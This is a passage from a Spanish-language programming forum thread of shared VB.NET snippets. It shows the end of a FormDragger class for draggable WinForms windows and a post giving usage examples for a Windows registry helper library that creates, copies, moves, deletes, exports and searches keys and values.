  90.        End Get
  91.    End Property
  92.    ''' <summary>
  93.    ''' An <see cref="IEnumerable(Of Form)"/> collection that contains the Forms capables to perform draggable operations.
  94.    ''' </summary>
  95.    Private forms1 As IEnumerable(Of FormDragInfo) = {}
  96.  
  97.    ''' <summary>
  98.    ''' Represents a <see cref="FormDragger"/> instance that is <c>Nothing</c>.
  99.    ''' </summary>
  100.    ''' <value><c>Nothing</c></value>
  101.    <EditorBrowsable(EditorBrowsableState.Always)>
  102.    Public Shared ReadOnly Property Empty As FormDragger
  103.        Get
  104.            Return Nothing
  105.        End Get
  106.    End Property
  107.  
  108. #End Region
  109.  
  110. #Region " Types "
  111.  
  112.    ''' <summary>
  113.    ''' Defines the draggable info of a <see cref="Form"/>.
  114.    ''' </summary>
  115.    <Serializable>
  116.    Public NotInheritable Class FormDragInfo
  117.  
  118. #Region " Properties "
  119.  
  120.        ''' <summary>
  121.        ''' Gets the associated <see cref="Form"/> used to perform draggable operations.
  122.        ''' </summary>
  123.        ''' <value>The associated <see cref="Form"/>.</value>
  124.        <EditorBrowsable(EditorBrowsableState.Always)>
  125.        Public ReadOnly Property Form As Form
  126.            Get
  127.                Return form1
  128.            End Get
  129.        End Property
  130.        ''' <summary>
  131.        ''' The associated <see cref="Form"/>
  132.        ''' </summary>
  133.        <NonSerialized>
  134.        Private ReadOnly form1 As Form
  135.  
  136.        ''' <summary>
  137.        ''' Gets the name of the associated <see cref="Form"/>.
  138.        ''' </summary>
  139.        ''' <value>The Form.</value>
  140.        <EditorBrowsable(EditorBrowsableState.Always)>
  141.        Public ReadOnly Property Name As String
  142.            Get
  143.                If Me.Form IsNot Nothing Then
  144.                    Return Form.Name
  145.                Else
  146.                    Return String.Empty
  147.                End If
  148.            End Get
  149.        End Property
  150.  
  151.        ''' <summary>
  152.        ''' Gets or sets a value indicating whether drag is enabled on the associated <see cref="Form"/>.
  153.        ''' </summary>
  154.        ''' <value><c>true</c> if drag is enabled; otherwise, <c>false</c>.</value>
  155.        <EditorBrowsable(EditorBrowsableState.Always)>
  156.        Public Property Enabled As Boolean
  157.  
  158.        ''' <summary>
  159.        ''' A <see cref="FormDragger"/> instance instance containing the draggable information of the associated <see cref="Form"/>.
  160.        ''' </summary>
  161.        ''' <value>The draggable information.</value>
  162.        <EditorBrowsable(EditorBrowsableState.Never)>
  163.        Public Property DragInfo As FormDragger = FormDragger.Empty
  164.  
  165.        ''' <summary>
  166.        ''' Gets or sets the <see cref="Cursor"/> used to drag the associated <see cref="Form"/>.
  167.        ''' </summary>
  168.        ''' <value>The <see cref="Cursor"/>.</value>
  169.        <EditorBrowsable(EditorBrowsableState.Always)>
  170.        Public Property Cursor As Cursor = Cursors.SizeAll
  171.  
  172.        ''' <summary>
  173.        ''' Gets or sets the old form's cursor to restore it after dragging.
  174.        ''' </summary>
  175.        ''' <value>The old form's cursor.</value>
  176.        <EditorBrowsable(EditorBrowsableState.Never)>
  177.        Public Property OldCursor As Cursor = Nothing
  178.  
  179.        ''' <summary>
  180.        ''' Gets or sets the initial mouse coordinates, normally <see cref="Form.MousePosition"/>.
  181.        ''' </summary>
  182.        ''' <value>The initial mouse coordinates.</value>
  183.        <EditorBrowsable(EditorBrowsableState.Never)>
  184.        Public Property InitialMouseCoords As Point = Point.Empty
  185.  
  186.        ''' <summary>
  187.        ''' Gets or sets the initial <see cref="Form"/> location, normally <see cref="Form.Location"/>.
  188.        ''' </summary>
  189.        ''' <value>The initial location.</value>
  190.        <EditorBrowsable(EditorBrowsableState.Never)>
  191.        Public Property InitialLocation As Point = Point.Empty
  192.  
  193. #End Region
  194.  
  195. #Region " Constructors "
  196.  
  197.        ''' <summary>
  198.        ''' Initializes a new instance of the <see cref="FormDragInfo"/> class.
  199.        ''' </summary>
  200.        ''' <param name="form">The form.</param>
  201.        Public Sub New(ByVal form As Form)
  202.            Me.form1 = form
  203.            Me.Cursor = form.Cursor
  204.        End Sub
  205.  
  206.        ''' <summary>
  207.        ''' Prevents a default instance of the <see cref="FormDragInfo"/> class from being created.
  208.        ''' </summary>
  209.        Private Sub New()
  210.        End Sub
  211.  
  212. #End Region
  213.  
  214. #Region " Hidden Methods "
  215.  
  216.        ''' <summary>
  217.        ''' Serves as a hash function for a particular type.
  218.        ''' </summary>
  219.        <EditorBrowsable(EditorBrowsableState.Never)>
  220.        Public Shadows Function GetHashCode() As Integer
  221.            Return MyBase.GetHashCode
  222.        End Function
  223.  
  224.        ''' <summary>
  225.        ''' Gets the System.Type of the current instance.
  226.        ''' </summary>
  227.        ''' <returns>The exact runtime type of the current instance.</returns>
  228.        <EditorBrowsable(EditorBrowsableState.Never)>
  229.        Public Shadows Function [GetType]() As Type
  230.            Return MyBase.GetType
  231.        End Function
  232.  
  233.        ''' <summary>
  234.        ''' Determines whether the specified System.Object instances are considered equal.
  235.        ''' </summary>
  236.        <EditorBrowsable(EditorBrowsableState.Never)>
  237.        Public Shadows Function Equals(ByVal obj As Object) As Boolean
  238.            Return MyBase.Equals(obj)
  239.        End Function
  240.  
  241.        ''' <summary>
  242.        ''' Determines whether the specified System.Object instances are the same instance.
  243.        ''' </summary>
  244.        <EditorBrowsable(EditorBrowsableState.Never)>
  245.        Private Shadows Sub ReferenceEquals()
  246.        End Sub
  247.  
  248.        ''' <summary>
  249.        ''' Returns a String that represents the current object.
  250.        ''' </summary>
  251.        <EditorBrowsable(EditorBrowsableState.Never)>
  252.        Public Shadows Function ToString() As String
  253.            Return MyBase.ToString
  254.        End Function
  255.  
  256. #End Region
  257.  
  258.    End Class
  259.  
  260. #End Region
  261.  
  262. #Region " Constructors "
  263.  
  264.    ''' <summary>
  265.    ''' Initializes a new instance of the <see cref="FormDragger"/> class.
  266.    ''' </summary>
  267.    Public Sub New()
  268.        Me.forms1={}
  269.    End Sub
  270.  
  271.    ''' <summary>
  272.    ''' Initializes a new instance of the <see cref="FormDragger"/> class.
  273.    ''' </summary>
  274.    ''' <param name="form">The <see cref="Form"/> used to perform draggable operations.</param>
  275.    ''' <param name="enabled">If set to <c>true</c>, enable dragging on the <see cref="Form"/>.</param>
  276.    ''' <param name="cursor">The <see cref="Cursor"/> used to drag the specified <see cref="Form"/>.</param>
  277.    Public Sub New(ByVal form As Form,
  278.                   Optional enabled As Boolean = False,
  279.                   Optional cursor As Cursor = Nothing)
  280.  
  281.        Me.forms1 =
  282.            {
  283.                New FormDragInfo(form) With
  284.                         {
  285.                             .Enabled = enabled,
  286.                             .Cursor = cursor
  287.                         }
  288.            }
  289.  
  290.        Me.AssocHandlers(form)
  291.  
  292.    End Sub
  293.  
  294.    ''' <summary>
  295.    ''' Initializes a new instance of the <see cref="FormDragger"/> class.
  296.    ''' </summary>
  297.    ''' <param name="forms">The <see cref="Forms"/> used to perform draggable operations.</param>
  298.    Public Sub New(ByVal forms As IEnumerable(Of Form))
  299.  
  300.        Me.forms1 = (From form As Form In forms
  301.                     Select New FormDragInfo(form)).ToArray
  302.  
  303.        For Each form As Form In forms
  304.            Me.AssocHandlers(form)
  305.        Next form
  306.  
  307.    End Sub
  308.  
  309.    ''' <summary>
  310.    ''' Initializes a new instance of the <see cref="FormDragger"/> class.
  311.    ''' </summary>
  312.    ''' <param name="formInfo">
  313.    ''' The <see cref="FormDragInfo"/> instance
  314.    ''' that contains the <see cref="Form"/> reference and its draggable info.
  315.    ''' </param>
  316.    ''' <param name="mouseCoordinates">The current mouse coordinates.</param>
  317.    ''' <param name="location">The current location.</param>
  318.    Private Sub New(ByVal formInfo As FormDragInfo,
  319.                    ByVal mouseCoordinates As Point,
  320.                    ByVal location As Point)
  321.  
  322.        formInfo.InitialMouseCoords = mouseCoordinates
  323.        formInfo.InitialLocation = location
  324.  
  325.    End Sub
  326.  
  327. #End Region
  328.  
  329. #Region " Public Methods "
  330.  
  331.    ''' <summary>
  332.    ''' Adds the specified <see cref="Form"/> into the draggable <see cref="Forms"/> collection.
  333.    ''' </summary>
  334.    ''' <param name="form">The <see cref="Form"/>.</param>
  335.    ''' <param name="enabled">If set to <c>true</c>, enable dragging on the <see cref="Form"/>.</param>
  336.    ''' <param name="cursor">The <see cref="Cursor"/> used to drag the specified <see cref="Form"/>.</param>
  337.    ''' <exception cref="System.ArgumentException">The specified form is already added.;form</exception>
  338.    Public Function AddForm(ByVal form As Form,
  339.                            Optional enabled As Boolean = False,
  340.                            Optional cursor As Cursor = Nothing) As FormDragInfo
  341.  
  342.        For Each formInfo As FormDragInfo In Me.forms1
  343.  
  344.            If formInfo.Form.Equals(form) Then
  345.                Throw New ArgumentException("The specified form is already added.", "form")
  346.                Exit Function
  347.            End If
  348.  
  349.        Next formInfo
  350.  
  351.        Dim newFormInfo As New FormDragInfo(form) With {.Enabled = enabled, .Cursor = cursor}
  352.        Me.forms1 = Me.forms1.Concat({newFormInfo})
  353.        Me.AssocHandlers(form)
  354.  
  355.        Return newFormInfo
  356.  
  357.    End Function
  358.  
  359.    ''' <summary>
  360.    ''' Removes the specified <see cref="Form"/> from the draggable <see cref="Forms"/> collection.
  361.    ''' </summary>
  362.    ''' <param name="form">The form.</param>
  363.    ''' <exception cref="System.ArgumentException">The specified form is not found.;form</exception>
  364.    Public Sub RemoveForm(ByVal form As Form)
  365.  
  366.        Dim formInfoToRemove As FormDragInfo = Nothing
  367.  
  368.        For Each formInfo As FormDragInfo In Me.forms1
  369.  
  370.            If formInfo.Form.Equals(form) Then
  371.                formInfoToRemove = formInfo
  372.                Exit For
  373.            End If
  374.  
  375.        Next formInfo
  376.  
  377.        If formInfoToRemove IsNot Nothing Then
  378.  
  379.            Me.forms1 = From formInfo As FormDragInfo In Me.forms1
  380.                        Where Not formInfo Is formInfoToRemove
  381.  
  382.            formInfoToRemove.Enabled = False
  383.            Me.DeassocHandlers(formInfoToRemove.Form)
  384.  
  385.        Else
  386.            Throw New ArgumentException("The specified form is not found.", "form")
  387.  
  388.        End If
  389.  
  390.    End Sub
  391.  
  392.    ''' <summary>
  393.    ''' Finds the <see cref="FormDragInfo"/> instance that is associated with the specified <see cref="Form"/> reference.
  394.    ''' </summary>
  395.    ''' <param name="form">The <see cref="Form"/>.</param>
  396.    ''' <returns>The <see cref="FormDragInfo"/> instance that is associated with the specified <see cref="Form"/> reference.</returns>
  397.    Public Function FindFormDragInfo(ByVal form As Form) As FormDragInfo
  398.  
  399.        Return (From formInfo As FormDragger.FormDragInfo In Me.forms1
  400.                Where formInfo.Form Is form).FirstOrDefault
  401.  
  402.    End Function
  403.  
  404.    ''' <summary>
  405.    ''' Finds the <see cref="FormDragInfo"/> instance that is associated with the specified <see cref="Form"/> reference.
  406.    ''' </summary>
  407.    ''' <param name="name">The <see cref="Form"/> name.</param>
  408.    ''' <returns>The <see cref="FormDragInfo"/> instance that is associated with the specified <see cref="Form"/> reference.</returns>
  409.    Public Function FindFormDragInfo(ByVal name As String,
  410.                                     Optional stringComparison As StringComparison =
  411.                                              StringComparison.OrdinalIgnoreCase) As FormDragInfo
  412.  
  413.        Return (From formInfo As FormDragger.FormDragInfo In Me.forms1
  414.                Where formInfo.Name.Equals(name, stringComparison)).FirstOrDefault
  415.  
  416.    End Function
  417.  
  418. #End Region
  419.  
  420. #Region " Private Methods "
  421.  
  422.    ''' <summary>
  423.    ''' Associates the <see cref="Form"/> handlers to enable draggable operations.
  424.    ''' </summary>
  425.    ''' <param name="form">The form.</param>
  426.    Private Sub AssocHandlers(ByVal form As Form)
  427.  
  428.        AddHandler form.MouseDown, AddressOf Me.Form_MouseDown
  429.        AddHandler form.MouseUp, AddressOf Me.Form_MouseUp
  430.        AddHandler form.MouseMove, AddressOf Me.Form_MouseMove
  431.        AddHandler form.MouseEnter, AddressOf Me.Form_MouseEnter
  432.        AddHandler form.MouseLeave, AddressOf Me.Form_MouseLeave
  433.  
  434.    End Sub
  435.  
  436.    ''' <summary>
  437.    ''' Deassociates the <see cref="Form"/> handlers to disable draggable operations.
  438.    ''' </summary>
  439.    ''' <param name="form">The form.</param>
  440.    Private Sub DeassocHandlers(ByVal form As Form)
  441.  
  442.        If Not form.IsDisposed AndAlso Not form.Disposing Then
  443.  
  444.            RemoveHandler form.MouseDown, AddressOf Me.Form_MouseDown
  445.            RemoveHandler form.MouseUp, AddressOf Me.Form_MouseUp
  446.            RemoveHandler form.MouseMove, AddressOf Me.Form_MouseMove
  447.            RemoveHandler form.MouseEnter, AddressOf Me.Form_MouseEnter
  448.            RemoveHandler form.MouseLeave, AddressOf Me.Form_MouseLeave
  449.  
  450.        End If
  451.  
  452.    End Sub
  453.  
  454.    ''' <summary>
  455.    ''' Return the new location.
  456.    ''' </summary>
  457.    ''' <param name="formInfo">
  458.    ''' The <see cref="FormDragInfo"/> instance
  459.    ''' that contains the <see cref="Form"/> reference and its draggable info.
  460.    ''' </param>
  461.    ''' <param name="mouseCoordinates">The current mouse coordinates.</param>
  462.    ''' <returns>The new location.</returns>
  463.    Private Function GetNewLocation(ByVal formInfo As FormDragInfo,
  464.                                    ByVal mouseCoordinates As Point) As Point
  465.  
  466.        Return New Point(formInfo.InitialLocation.X + (mouseCoordinates.X - formInfo.InitialMouseCoords.X),
  467.                         formInfo.InitialLocation.Y + (mouseCoordinates.Y - formInfo.InitialMouseCoords.Y))
  468.  
  469.    End Function
  470.  
  471. #End Region
  472.  
  473. #Region " Hidden Methods "
  474.  
  475.    ''' <summary>
  476.    ''' Serves as a hash function for a particular type.
  477.    ''' </summary>
  478.    <EditorBrowsable(EditorBrowsableState.Never)>
  479.    Public Shadows Function GetHashCode() As Integer
  480.        Return MyBase.GetHashCode
  481.    End Function
  482.  
  483.    ''' <summary>
  484.    ''' Gets the System.Type of the current instance.
  485.    ''' </summary>
  486.    ''' <returns>The exact runtime type of the current instance.</returns>
  487.    <EditorBrowsable(EditorBrowsableState.Never)>
  488.    Public Shadows Function [GetType]() As Type
  489.        Return MyBase.GetType
  490.    End Function
  491.  
  492.    ''' <summary>
  493.    ''' Determines whether the specified System.Object instances are considered equal.
  494.    ''' </summary>
  495.    <EditorBrowsable(EditorBrowsableState.Never)>
  496.    Public Shadows Function Equals(ByVal obj As Object) As Boolean
  497.        Return MyBase.Equals(obj)
  498.    End Function
  499.  
  500.    ''' <summary>
  501.    ''' Determines whether the specified System.Object instances are the same instance.
  502.    ''' </summary>
  503.    <EditorBrowsable(EditorBrowsableState.Never)>
  504.    Private Shadows Sub ReferenceEquals()
  505.    End Sub
  506.  
  507.    ''' <summary>
  508.    ''' Returns a String that represents the current object.
  509.    ''' </summary>
  510.    <EditorBrowsable(EditorBrowsableState.Never)>
  511.    Public Shadows Function ToString() As String
  512.        Return MyBase.ToString
  513.    End Function
  514.  
  515. #End Region
  516.  
  517. #Region " Event Handlers "
  518.  
  519.    ''' <summary>
  520.    ''' Handles the MouseEnter event of the Form.
  521.    ''' </summary>
  522.    ''' <param name="sender">The source of the event.</param>
  523.    ''' <param name="e">The <see cref="EventArgs"/> instance containing the event data.</param>
  524.    Private Sub Form_MouseEnter(ByVal sender As Object, ByVal e As EventArgs)
  525.  
  526.        Dim formInfo As FormDragInfo = FindFormDragInfo(DirectCast(sender, Form))
  527.  
  528.        formInfo.OldCursor = formInfo.Form.Cursor
  529.  
  530.        If formInfo.Enabled Then
  531.            formInfo.Form.Cursor = formInfo.Cursor
  532.            ' Optional:
  533.            ' formInfo.Form.BringToFront()
  534.        End If
  535.  
  536.    End Sub
  537.  
  538.    ''' <summary>
  539.    ''' Handles the MouseLeave event of the Form.
  540.    ''' </summary>
  541.    ''' <param name="sender">The source of the event.</param>
  542.    ''' <param name="e">The <see cref="EventArgs"/> instance containing the event data.</param>
  543.    Private Sub Form_MouseLeave(ByVal sender As Object, ByVal e As EventArgs)
  544.  
  545.        Dim formInfo As FormDragInfo = FindFormDragInfo(DirectCast(sender, Form))
  546.  
  547.        formInfo.Form.Cursor = formInfo.OldCursor
  548.  
  549.    End Sub
  550.  
  551.    ''' <summary>
  552.    ''' Handles the MouseDown event of the Form.
  553.    ''' </summary>
  554.    ''' <param name="sender">The source of the event.</param>
  555.    ''' <param name="e">The <see cref="MouseEventArgs"/> instance containing the event data.</param>
  556.    Private Sub Form_MouseDown(ByVal sender As Object, ByVal e As MouseEventArgs)
  557.  
  558.        Dim formInfo As FormDragInfo = FindFormDragInfo(DirectCast(sender, Form))
  559.  
  560.        If formInfo.Enabled Then
  561.            formInfo.DragInfo = New FormDragger(formInfo, Form.MousePosition, formInfo.Form.Location)
  562.        End If
  563.  
  564.    End Sub
  565.  
  566.    ''' <summary>
  567.    ''' Handles the MouseMove event of the Form.
  568.    ''' </summary>
  569.    ''' <param name="sender">The source of the event.</param>
  570.    ''' <param name="e">The <see cref="MouseEventArgs"/> instance containing the event data.</param>
  571.    Private Sub Form_MouseMove(ByVal sender As Object, ByVal e As MouseEventArgs)
  572.  
  573.        Dim formInfo As FormDragInfo = FindFormDragInfo(DirectCast(sender, Form))
  574.  
  575.        If formInfo.Enabled AndAlso (formInfo.DragInfo IsNot FormDragger.Empty) Then
  576.            formInfo.Form.Location = formInfo.DragInfo.GetNewLocation(formInfo, Form.MousePosition)
  577.        End If
  578.  
  579.    End Sub
  580.  
  581.    ''' <summary>
  582.    ''' Handles the MouseUp event of the Form.
  583.    ''' </summary>
  584.    ''' <param name="sender">The source of the event.</param>
  585.    ''' <param name="e">The <see cref="MouseEventArgs"/> instance containing the event data.</param>
  586.    Private Sub Form_MouseUp(ByVal sender As Object, ByVal e As MouseEventArgs)
  587.  
  588.        Dim formInfo As FormDragInfo = FindFormDragInfo(DirectCast(sender, Form))
  589.  
  590.        formInfo.DragInfo = FormDragger.Empty
  591.  
  592.    End Sub
  593.  
  594. #End Region
  595.  
  596. #Region " IDisposable "
  597.  
  598.    ''' <summary>
  599.    ''' To detect redundant calls when disposing.
  600.    ''' </summary>
  601.    Private isDisposed As Boolean = False
  602.  
  603.    ''' <summary>
  604.    ''' Performs application-defined tasks associated with freeing, releasing, or resetting unmanaged resources.
  605.    ''' </summary>
  606.    Public Sub Dispose() Implements IDisposable.Dispose
  607.        Me.Dispose(True)
  608.        GC.SuppressFinalize(Me)
  609.    End Sub
  610.  
  611.    ''' <summary>
  612.    ''' Releases unmanaged and - optionally - managed resources.
  613.    ''' </summary>
  614.    ''' <param name="IsDisposing">
  615.    ''' <c>true</c> to release both managed and unmanaged resources;
  616.    ''' <c>false</c> to release only unmanaged resources.
  617.    ''' </param>
  618.    Protected Sub Dispose(ByVal isDisposing As Boolean)
  619.  
  620.        If Not Me.isDisposed Then
  621.  
  622.            If isDisposing Then
  623.  
  624.                For Each formInfo As FormDragInfo In Me.forms1
  625.  
  626.                    With formInfo
  627.  
  628.                        .Enabled = False
  629.                        .OldCursor = Nothing
  630.                        .DragInfo = FormDragger.Empty
  631.                        .InitialMouseCoords = Point.Empty
  632.                        .InitialLocation = Point.Empty
  633.  
  634.                        Me.DeassocHandlers(.Form)
  635.  
  636.                    End With ' form
  637.  
  638.                Next formInfo
  639.  
  640.                Me.forms1 = Nothing
  641.  
  642.            End If ' IsDisposing
  643.  
  644.        End If ' Not Me.IsDisposed
  645.  
  646.        Me.isDisposed = True
  647.  
  648.    End Sub
  649.  
  650. #End Region
  651.  
  652. End Class
  653.  
  654. #End Region


Título: Re: Librería de Snippets !! (Compartan aquí sus snippets)
Publicado por: Eleкtro en 20 Marzo 2015, 00:24 am
Aquí les dejo un (casi)completo set de utilidades para manejar el registro de windows desde una aplicación .Net, tiene todo tipo de funcionalidades.

Ejemplos de uso:
Código
  1. ----------------
  2. Set RegInfo Instance
  3. ----------------
  4.  
  5.    Dim regInfo As New RegEdit.RegInfo
  6.    With regInfo
  7.        .RootKeyName = "HKCU"
  8.        .SubKeyPath = "Subkey Path"
  9.        .ValueName = "Value Name"
  10.        .ValueType = Microsoft.Win32.RegistryValueKind.String
  11.        .ValueData = "Hello World!"
  12.    End With
  13.  
  14.    Dim regInfoByte As New RegEdit.RegInfo(Of Byte())
  15.    With regInfoByte
  16.        .RootKeyName = "HKCU"
  17.        .SubKeyPath = "Subkey Path"
  18.        .ValueName = "Value Name"
  19.        .ValueType = Microsoft.Win32.RegistryValueKind.Binary
  20.        .ValueData = System.Text.Encoding.ASCII.GetBytes("Hello World!")
  21.    End With
  22.  
  23. ----------------
  24. Create SubKey
  25. ----------------
  26.  
  27.    RegEdit.CreateSubKey(fullKeyPath:="HKCU\Subkey Path\")
  28.    RegEdit.CreateSubKey(rootKeyName:="HKCU",
  29.                         subKeyPath:="Subkey Path")
  30.    RegEdit.CreateSubKey(regInfo:=regInfoByte)
  31.  
  32.    Dim regKey1 As Microsoft.Win32.RegistryKey =
  33.        RegEdit.CreateSubKey(fullKeyPath:="HKCU\Subkey Path\",
  34.                             registryKeyPermissionCheck:=Microsoft.Win32.RegistryKeyPermissionCheck.Default,
  35.                             registryOptions:=Microsoft.Win32.RegistryOptions.None)
  36.  
  37.    Dim regKey2 As Microsoft.Win32.RegistryKey =
  38.        RegEdit.CreateSubKey(rootKeyName:="HKCU",
  39.                             subKeyPath:="Subkey Path",
  40.                             registryKeyPermissionCheck:=Microsoft.Win32.RegistryKeyPermissionCheck.Default,
  41.                             registryOptions:=Microsoft.Win32.RegistryOptions.None)
  42.  
  43.    Dim regInfo2 As RegEdit.RegInfo(Of String) = RegEdit.CreateSubKey(Of String)(fullKeyPath:="HKCU\Subkey Path\")
  44.    Dim regInfo3 As RegEdit.RegInfo(Of String) = RegEdit.CreateSubKey(Of String)(rootKeyName:="HKCU",
  45.                                                                                 subKeyPath:="Subkey Path")
  46.  
  47. ----------------
  48. Create Value
  49. ----------------
  50.  
  51.    RegEdit.CreateValue(fullKeyPath:="HKCU\Subkey Path\",
  52.                        valueName:="Value Name",
  53.                        valueData:="Value Data",
  54.                        valueType:=Microsoft.Win32.RegistryValueKind.String)
  55.  
  56.    RegEdit.CreateValue(rootKeyName:="HKCU",
  57.                        subKeyPath:="Subkey Path",
  58.                        valueName:="Value Name",
  59.                        valueData:="Value Data",
  60.                        valueType:=Microsoft.Win32.RegistryValueKind.String)
  61.  
  62.    RegEdit.CreateValue(regInfo:=regInfoByte)
  63.  
  64.    RegEdit.CreateValue(Of String)(fullKeyPath:="HKCU\Subkey Path\",
  65.                                   valueName:="Value Name",
  66.                                   valueData:="Value Data",
  67.                                   valueType:=Microsoft.Win32.RegistryValueKind.String)
  68.  
  69.    RegEdit.CreateValue(Of String)(rootKeyName:="HKCU",
  70.                                   subKeyPath:="Subkey Path",
  71.                                   valueName:="Value Name",
  72.                                   valueData:="Value Data",
  73.                                   valueType:=Microsoft.Win32.RegistryValueKind.String)
  74.  
  75.    RegEdit.CreateValue(Of Byte())(regInfo:=regInfoByte)
  76.  
  77. ----------------
  78. Copy KeyTree
  79. ----------------
  80.  
  81.    RegEdit.CopyKeyTree(sourceFullKeyPath:="HKCU\Source Subkey Path\",
  82.                        targetFullKeyPath:="HKCU\Target Subkey Path\")
  83.  
  84.    RegEdit.CopyKeyTree(sourceRootKeyName:="HKCU",
  85.                        sourceSubKeyPath:="Source Subkey Path\",
  86.                        targetRootKeyName:="HKCU",
  87.                        targetSubKeyPath:="Target Subkey Path\")
  88.  
  89. ----------------
  90. Move KeyTree
  91. ----------------
  92.  
  93.    RegEdit.MoveKeyTree(sourceFullKeyPath:="HKCU\Source Subkey Path\",
  94.                        targetFullKeyPath:="HKCU\Target Subkey Path\")
  95.  
  96.    RegEdit.MoveKeyTree(sourceRootKeyName:="HKCU",
  97.                        sourceSubKeyPath:="Source Subkey Path\",
  98.                        targetRootKeyName:="HKCU",
  99.                        targetSubKeyPath:="Target Subkey Path\")
  100.  
  101. ----------------
  102. Copy SubKeys
  103. ----------------
  104.  
  105.    RegEdit.CopySubKeys(sourceFullKeyPath:="HKCU\Source Subkey Path\",
  106.                        targetFullKeyPath:="HKCU\Target Subkey Path\")
  107.  
  108.    RegEdit.CopySubKeys(sourceRootKeyName:="HKCU",
  109.                        sourceSubKeyPath:="Source Subkey Path\",
  110.                        targetRootKeyName:="HKCU",
  111.                        targetSubKeyPath:="Target Subkey Path\")
  112.  
  113. ----------------
  114. Move SubKeys
  115. ----------------
  116.  
  117.    RegEdit.MoveSubKeys(sourceFullKeyPath:="HKCU\Source Subkey Path\",
  118.                        targetFullKeyPath:="HKCU\Target Subkey Path\")
  119.  
  120.    RegEdit.MoveSubKeys(sourceRootKeyName:="HKCU",
  121.                        sourceSubKeyPath:="Source Subkey Path\",
  122.                        targetRootKeyName:="HKCU",
  123.                        targetSubKeyPath:="Target Subkey Path\")
  124.  
  125. ----------------
  126. Copy Value
  127. ----------------
  128.  
  129.    RegEdit.CopyValue(sourceFullKeyPath:="HKCU\Source Subkey Path\",
  130.                      sourceValueName:="Value Name",
  131.                      targetFullKeyPath:="HKCU\Target Subkey Path\",
  132.                      targetValueName:="Value Name")
  133.  
  134.    RegEdit.CopyValue(sourceRootKeyName:="HKCU",
  135.                      sourceSubKeyPath:="Source Subkey Path\",
  136.                      sourceValueName:="Value Name",
  137.                      targetRootKeyName:="HKCU",
  138.                      targetSubKeyPath:="Target Subkey Path\",
  139.                      targetValueName:="Value Name")
  140.  
  141. ----------------
  142. Move Value
  143. ----------------
  144.  
  145.    RegEdit.MoveValue(sourceFullKeyPath:="HKCU\Source Subkey Path\",
  146.                      sourceValueName:="Value Name",
  147.                      targetFullKeyPath:="HKCU\Target Subkey Path\",
  148.                      targetValueName:="Value Name")
  149.  
  150.    RegEdit.MoveValue(sourceRootKeyName:="HKCU",
  151.                      sourceSubKeyPath:="Source Subkey Path\",
  152.                      sourceValueName:="Value Name",
  153.                      targetRootKeyName:="HKCU",
  154.                      targetSubKeyPath:="Target Subkey Path\",
  155.                      targetValueName:="Value Name")
  156.  
  157. ----------------
  158. DeleteValue
  159. ----------------
  160.  
  161.    RegEdit.DeleteValue(fullKeyPath:="HKCU\Subkey Path\",
  162.                        valueName:="Value Name",
  163.                        throwOnMissingValue:=True)
  164.  
  165.    RegEdit.DeleteValue(rootKeyName:="HKCU",
  166.                        subKeyPath:="Subkey Path",
  167.                        valueName:="Value Name",
  168.                        throwOnMissingValue:=True)
  169.  
  170.    RegEdit.DeleteValue(regInfo:=regInfoByte,
  171.                        throwOnMissingValue:=True)
  172.  
  173. ----------------
  174. Delete SubKey
  175. ----------------
  176.  
  177.    RegEdit.DeleteSubKey(fullKeyPath:="HKCU\Subkey Path\",
  178.                         throwOnMissingSubKey:=False)
  179.  
  180.    RegEdit.DeleteSubKey(rootKeyName:="HKCU",
  181.                         subKeyPath:="Subkey Path",
  182.                         throwOnMissingSubKey:=False)
  183.  
  184.    RegEdit.DeleteSubKey(regInfo:=regInfoByte,
  185.                         throwOnMissingSubKey:=False)
  186.  
  187. ----------------
  188. Exist SubKey?
  189. ----------------
  190.  
  191.    Dim exist1 As Boolean = RegEdit.ExistSubKey(fullKeyPath:="HKCU\Subkey Path\")
  192.  
  193.    Dim exist2 As Boolean = RegEdit.ExistSubKey(rootKeyName:="HKCU",
  194.                                                subKeyPath:="Subkey Path")
  195.  
  196. ----------------
  197. Exist Value?
  198. ----------------
  199.  
  200.    Dim exist3 As Boolean = RegEdit.ExistValue(fullKeyPath:="HKCU\Subkey Path\",
  201.                                               valueName:="Value Name")
  202.  
  203.    Dim exist4 As Boolean = RegEdit.ExistValue(rootKeyName:="HKCU",
  204.                                               subKeyPath:="Subkey Path",
  205.                                               valueName:="Value Name")
  206.  
  207. ----------------
  208. Value Is Empty?
  209. ----------------
  210.  
  211.    Dim isEmpty1 As Boolean = RegEdit.ValueIsEmpty(fullKeyPath:="HKCU\Subkey Path\",
  212.                                                   valueName:="Value Name")
  213.  
  214.    Dim isEmpty2 As Boolean = RegEdit.ValueIsEmpty(rootKeyName:="HKCU",
  215.                                                   subKeyPath:="Subkey Path",
  216.                                                   valueName:="Value Name")
  217.  
  218. ----------------
  219. Export Key
  220. ----------------
  221.  
  222.    RegEdit.ExportKey(fullKeyPath:="HKCU\Subkey Path\",
  223.                      outputFile:="C:\Backup.reg")
  224.  
  225.    RegEdit.ExportKey(rootKeyName:="HKCU",
  226.                      subKeyPath:="Subkey Path",
  227.                      outputFile:="C:\Backup.reg")
  228.  
  229. ----------------
  230. Import RegFile
  231. ----------------
  232.  
  233.    RegEdit.ImportRegFile(regFilePath:="C:\Backup.reg")
  234.  
  235. ----------------
  236. Jump To Key
  237. ----------------
  238.  
  239.    RegEdit.JumpToKey(fullKeyPath:="HKCU\Subkey Path\")
  240.  
  241.    RegEdit.JumpToKey(rootKeyName:="HKCU",
  242.                      subKeyPath:="Subkey Path")
  243.  
  244. ----------------
  245. Find SubKey
  246. ----------------
  247.  
  248.    Dim regInfoSubkeyCol As IEnumerable(Of RegEdit.Reginfo) =
  249.        RegEdit.FindSubKey(rootKeyName:="HKCU",
  250.                           subKeyPath:="Subkey Path",
  251.                           subKeyName:="Subkey Name",
  252.                           matchFullSubKeyName:=False,
  253.                           ignoreCase:=True,
  254.                           searchOption:=IO.SearchOption.AllDirectories)
  255.  
  256.    For Each reg As RegEdit.RegInfo In regInfoSubkeyCol
  257.        Debug.WriteLine(reg.RootKeyName)
  258.        Debug.WriteLine(reg.SubKeyPath)
  259.        Debug.WriteLine(reg.ValueName)
  260.        Debug.WriteLine(reg.ValueData.ToString)
  261.        Debug.WriteLine("")
  262.    Next reg
  263.  
  264. ----------------
  265. Find Value
  266. ----------------
  267.  
  268.    Dim regInfoValueNameCol As IEnumerable(Of RegEdit.Reginfo) =
  269.        RegEdit.FindValue(rootKeyName:="HKCU",
  270.                              subKeyPath:="Subkey Path",
  271.                              valueName:="Value Name",
  272.                              matchFullValueName:=False,
  273.                              ignoreCase:=True,
  274.                              searchOption:=IO.SearchOption.AllDirectories)
  275.  
